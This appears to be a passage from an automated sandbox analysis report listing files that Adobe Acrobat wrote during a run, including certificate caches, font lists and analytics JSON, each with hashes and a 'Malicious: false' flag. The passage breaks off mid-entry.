Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklGxGRltfllXlE/HT8khC/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKfADeT8oCVNMa8RdWBwRd
MD5:	16AF8ED937F219A511D509F1A9D7188B
SHA1:	02E3929D1A1D8B25358AE3E2D8E1A3D6656E7B65
SHA-256:	682F981F124F11424956761B12C985B0E271B2707E9A54C4780C116CD1151807
SHA-512:	3ED1BF62EE716C21844FDD46C9F229C9664E97F2D23A29BB55B64AB2FA191585303B013448E4C1E5AD5E6787AAEBAB823964B3D66B4BAA6D0C1BF75F2D918AE1
Malicious:	false
Preview:	p...... ........5.<.c..(....................................................... ..........W....D...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKUx1L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:g1iDnLNkPlE99SNxAhUe/3
MD5:	65B484C3D20B34B6E23A6C730655CF4C
SHA1:	5F4281445542AF605AD8B5C7FC604BC9D6CCFC49
SHA-256:	1C7E5AD0B0E8A09AA8F877FA680C2F1D8886C31BE6702F0EE75C96703C80DC11
SHA-512:	B1A6AC20C29DF255C3272A57825861708686DD0DCFCAFFAFF01E674FBE18628566997368285CE698871999AEC2AA0B2E0E8972E061FD6D15E3B7BDACB7ABF4AC
Malicious:	false
Preview:	p...... ........UQ..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6996

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6996

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35305222762289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJM3g98kUwPeUkwRe9:YvXKXq6TQnXclVGMbLUkee9
MD5:	692E07F76865BFB8F762B6FCAA99F283
SHA1:	B0AAAE4C9CF012F6E9EF48F25627ADE975ABA22D
SHA-256:	E86D0DFB59363D0B8134395BC852F0DA01DFED25D75B8DAD0C3561EDF1997DF5
SHA-512:	BB5C5D4DE371B447DEE9DC550B779963620789EC7A84616E89DF9E08A0D7DDEB9B8C46C31F1E0174485747ADC27AF13DA4F3EF6DF3DA4F5B4195998067AB875B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304951960127852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfBoTfXpnrPeUkwRe9:YvXKXq6TQnXclVGWTfXcUkee9
MD5:	2D50132DC861D8D9F1E58A28EBCC07EE
SHA1:	99FBCCA1D5D3A3B8B55B9822540026AC59D84DD4
SHA-256:	E044B0387716C5D743F6D2F1C6F9A992089F42C4413C6BFE66AE4ACEEEB7A629
SHA-512:	62CF312406194D8BB1F802EFC6544DAB8B91590006773E014E76F21AC21A8F1EE09377D3D9B56D173C773784079A321B72D9B00DE0929468B2BB23714D8BCF67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285215135577841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXq6TQnXclVGR22cUkee9
MD5:	58FCA7010ED0A1D15F4A04430903496F
SHA1:	F846F96A2A40D2778FEF52952FC21607C84A5F3D
SHA-256:	44C00CACB629CF742D0231F3CC4AF3BFC31681D90567A310B008A1244542839B
SHA-512:	5745045811FF14D07E0CCBBD2487DE0F313A1F69EB2C54CAC2A8A8846BD8B56720B377EF70B2C63935DE15558DB749471DCEB8CD1B9C9099C1C70708DBD7818F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332713008244921
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfPmwrPeUkwRe9:YvXKXq6TQnXclVGH56Ukee9
MD5:	8C4C7B01690038720EC17B528A7CFA7E
SHA1:	11124B98AE5FA44EA8BE0C28E6718C81340E2C1A
SHA-256:	DF0995A09EF64DF5F6034BF1590A1F6DFC898E295B9D1D35BA5691764D5CF643
SHA-512:	A22838B63F8DF6032BAF704A691525748F3165E44379A5B1E4D25E70E5001F5CA08B1B88086A02D5BAFAD155FB0FF724C30F00C5212011AC22FD2FDD5427E8A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684731186760728
Encrypted:	false
SSDEEP:	24:Yv6XtQM8pLgE9cQx8LennAvzBvkn0RCmK8czOCCSo:Yv9Zhgy6SAFv5Ah8cv/o
MD5:	4A50D148B25CB1F55D696E5D6A7D3026
SHA1:	6A1BD1C93548B49DF9818B5A907FBE5565EB61F4
SHA-256:	E51433A6EC18552765F6FA005357503087CA6FED81E471A67B6763DDC5F4E078
SHA-512:	F144F82B9E9831FC4939CAC371FB3EAD29609E08067127EAC8EEFBCDC7B1F7E86FFB05CB6C746E4585A1BAF2B98597B66DC33C43683AB7B3C62C804E71DD0278
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279897130035611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJf8dPeUkwRe9:YvXKXq6TQnXclVGU8Ukee9
MD5:	5B342E23DDDAC4BDB3FAE38DF8488632
SHA1:	EE1D564A0C71D227AE4EEB8FB4A19ABDA081979F
SHA-256:	750442C665B5EF48F16370C47F76DB8BE75CA863235C6D65129D8A4082F358E2
SHA-512:	49A5BF1648B33C6629D624C2A985D56BF95241807257A0A4A3CD0644BF8A161DD68D5F75E1714F28AA1664638162E83575C0989CB3A688D61B55026E5179C1CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281664995598332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfQ1rPeUkwRe9:YvXKXq6TQnXclVGY16Ukee9
MD5:	7B9FB2CCFB88EBD1EBDE78F1EDB2AC7D
SHA1:	09497DC6CC8492B42E5601D85DE110A92CFA00A3
SHA-256:	77EB48A88F5C5475F66176BA5A8EC7A3549B8C7A84B68590054B73874F9E73DD
SHA-512:	8D32247468FED5528279C6EFA587A3AACEBB2420B5331A1903799E637AD040ED9E2FF5E0DFBD22350DAA4665C22AB30824F8E700601FB32DFFECE9B906D62095
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28848991522435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfFldPeUkwRe9:YvXKXq6TQnXclVGz8Ukee9
MD5:	5492C85E86924E18F176D8B8B936E4F5
SHA1:	4FCE72855EE2DB8D24108FF3801BDD9FE882C250
SHA-256:	6E95D1749AC7747D044E9F4CC851CB354E912C12567ACD9D9EE8D498E7A1580D
SHA-512:	62F32FC55AB9295154C5F7CDF9F2BB5E7DDF2365BA1741D89949A967FF64B98E7D8A5CE2A15EC880D8CF50A9034C9A74F349DFACD6CBE4271E78F6A6DB2397DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3054620580726946
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPSCFTQn0UnZiQ0YvEeoAvJfzdPeUkwRe9:YvXKXq6TQnXclVGb8Ukee9
MD5:	8A1DB3FDF086D9EA4322A5F783E8AFC9
SHA1:	AA3F508BE0EA4E4DEE8167E986E052EA9BA4DC85
SHA-256:	889EE0E858643FC3B0A1F282CED4050C8D0AF705C7B54AB29F2271D52E840B33
SHA-512:	50CE566839E9ABFBB1FE20EF456FE3176F511DAD3686D58A2E293FC4315DF7D0E7034AA76B2391259713D6776512FF44BA9C49F67A63FBD47630773CA95B1EAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"875250eb-1591-40bd-90da-9eeb09e8ed95","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705320686,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
